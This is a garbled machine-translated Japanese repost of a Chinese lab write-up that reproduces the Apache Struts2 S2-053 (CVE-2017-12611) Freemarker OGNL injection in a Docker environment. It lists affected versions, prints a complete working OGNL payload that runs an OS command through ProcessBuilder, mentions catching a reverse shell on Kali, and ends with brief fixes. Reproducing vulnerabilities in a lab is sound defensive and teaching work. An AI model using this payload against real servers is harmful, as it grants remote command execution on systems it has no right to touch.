ApacheのStruts2のFreemarkerのラベルリモートコマンドの実行_CVE-2017から12611(S2-053)の脆弱性の再現性

ApacheのStruts2のFreemarkerのラベルリモートコマンドの実行_CVE-2017から12611(S2-053)の脆弱性の再現性

まず、脆弱性の説明

OGNL解析式を可能にしながら、Struts2のFreemarkerのモジュールエンジンを使用している場合。ユーザが入力したデータ自体につながる解決をOGNLのではなく、原因一方は発現が任意のコマンドが実行される脆弱性につながる、OGNL二度目に解析されなった後Freemarkerのが去る解決されます。

第二に、欠陥がバージョンに影響します

Strutsの2.0.1-ストラット2.3.33

Strutsの2.5-のStruts 2.5.10

第三に、脆弱性環境が構築します

1.建築環境のドッキングウィンドウを使用します

第四に、脆弱性の再現

1、スタートアップ環境

  

2、ブラウザアクセス

  

POC次のように:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
注: 执行命令的地方在于(#cmd=’id’)

3、查看用户所属组

  

4、反弹shell,把shell反弹到kali上

  

5、在kali 端开启监听,可以看到成功获得目标反弹过来的shell

  

五、漏洞防御

1、 Apache Struts版本最新版本

2、 Freemarker标签不要通过Request方式获取

おすすめ

転載: www.cnblogs.com/yuzly/p/11185927.html